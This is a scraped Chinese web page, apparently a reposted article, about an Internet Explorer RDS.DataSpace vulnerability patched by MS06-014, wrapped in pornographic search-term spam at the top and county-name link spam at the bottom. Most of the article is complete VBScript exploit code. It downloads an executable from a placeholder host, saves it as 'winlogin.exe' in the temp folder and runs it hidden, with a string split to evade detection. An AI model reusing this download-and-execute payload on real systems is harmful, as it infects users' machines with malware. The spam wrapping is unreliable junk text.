国产探花免费观看_亚洲丰满少妇自慰呻吟_97日韩有码在线_资源在线日韩欧美_一区二区精品毛片,辰东完美世界有声小说,欢乐颂第一季,yy玄幻小说排行榜完本

首頁 > 開發 > JS > 正文

【最新漏洞】IE中使用Rds.DataSpace下載并運行病毒文件

2024-09-06 12:43:22
字體:
來源:轉載
供稿:網友
請執行下面的代碼測試您的機器是否存在漏洞: 

[Ctrl+A 全選 注:如需引入外部Js需刷新才能執行]
補丁下載:http://www.microsoft.com/china/technet/Security/bulletin/ms06-014.mspx
相關病毒的vbs代碼如下:
代碼如下:
on error resume next
dl = "http://www.xxx.com/xxx.exe"
Set df = document.createElement("object")
df.setAttribute "classid", "clsid:BD96C556-65A3-11D0-983A-00C04FC29E36"
str="Microsoft.XMLHTTP"
Set x = df.CreateObject(str,"")
a1="Ado"
a2="db."
a3="Str"
a4="eam"
str1=a1&a2&a3&a4
str5=str1
set S = df.createobject(str5,"")
S.type = 1
str6="GET"
x.Open str6, dl, False
x.Send
fname1="winlogin.exe"
set F = df.createobject("Scripting.FileSystemObject","")
set tmp = F.GetSpecialFolder(2) 
fname1= F.BuildPath(tmp,fname1)
S.open
S.write x.responseBody
S.savetofile fname1,2
S.close
set Q = df.createobject("Shell.Application","")
Q.ShellExecute fname1,"","","open",0
發表評論 共有條評論
用戶名: 密碼:
驗證碼: 匿名發表
主站蜘蛛池模板: 肃北| 辛集市| 元氏县| 阳东县| 财经| 五家渠市| 平邑县| 福安市| 保山市| 靖边县| 宁乡县| 静海县| 志丹县| 普陀区| 商城县| 巴东县| 沙雅县| 铁岭县| 武强县| 吴桥县| 拉孜县| 平南县| 彰化县| 杂多县| 福清市| 黔西县| 红河县| 平定县| 玛曲县| 永济市| 邵武市| 商丘市| 镇原县| 彰化市| 芒康县| 姜堰市| 始兴县| 永修县| 肇东市| 同心县| 靖西县|